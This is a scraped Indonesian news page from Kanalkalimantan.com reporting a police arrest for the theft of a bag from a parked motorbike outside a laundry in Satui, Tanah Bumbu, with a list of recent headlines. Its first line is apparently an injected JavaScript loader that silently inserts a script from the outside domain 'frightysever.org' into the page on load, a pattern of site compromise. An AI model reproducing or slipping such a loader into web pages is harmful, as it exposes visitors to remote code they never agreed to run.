(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

SR Dibekuk Anggota Polsek Satui, Setelah Mencuri Tas di Sebuah Laundry


KANALKALIMANTAN.COM, BATULICIN – Unit Reskrim Polsek Satui membekuk seorang pelaku dugaan tindak pidana pencurian.

Pelaku adalah SR (29) Warga Gang Jamrud RT 11, Desa Sungai Danau, Kecamatan Satui, Kabupaten Tanah Bumbu.

Kapolres Tanah Bumbu AKBP Tri Hambodo SIK melalui Kasi Humas AKP H Iberahim Made Rasa di dampingi Kapolsek Satui Iptu Hardaya mengatakan, penangkapan atas pelaku SR dengan dugaan tindak pidana pencurian tersebut.

“Anggota Unit Reskrim Polsek Satui telah mengamankan pelaku tindak pidana pencurian pada Jumat (4/3/2022) malam lalu,” terangnya, Senin (7/3/2022).

 

 

Baca juga: Terjaring Pemeriksaan Vaksin, Pengendara Bermotor di Amuntai Langsung Suntik di Tempat

AKP H Iberarim Made Rasa menjelaskan, pada Sabtu 26 Februari 2022 jam 07.00 Wita di Jalan Provinsi, Desa Sungai Danau, Kecamatan Satui -tepatnya di halaman sebuah laundry- telah terjadi dugaan tindak pidana pencurian yang dilakukan oleh SR.

Saat korban memarkirkan sepeda motor miliknya di depan halaman sebuah laundry dengan tas berada di atas motor, kemudian korban masuk ke dalam toko untuk mengambil kunci. Setelah itu saat korban kembali tas korban sudah tidak ada atau hilang dari sepeda motor miliknya.

Atas kejadian tersebut korban melapor ke Polsek Satui, berdasar laporan tersebut Unit Reskrim Polsek Satui melakukan penyelidikan. Diketahui pelaku adalah SR, kemudian petugas memburu dan melakukan penangkapan di rumah tersangka.

Atas kejadian tersebut korban mengalami kerugian sebesar Rp 3 juta. Kini pelaku sudah mendekam di balik jeruji Polsek Satui guna proses lebih lanjut.

Barang bukti yang di amankan berupa satu buah hand phone Vivo Y91C warna hitam dan satu unit Yamaha Lexi warna merah dengan Nopol DA 6103 ZCP.

Pelaku akan dijerat pasal tindak pidana pencurian sebagaimana dimaksud dalam pasal 363 KUHP. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : bie


Risa

Recent Posts

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

2 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

3 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

3 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

4 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

4 jam ago

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

19 jam ago

This website uses cookies.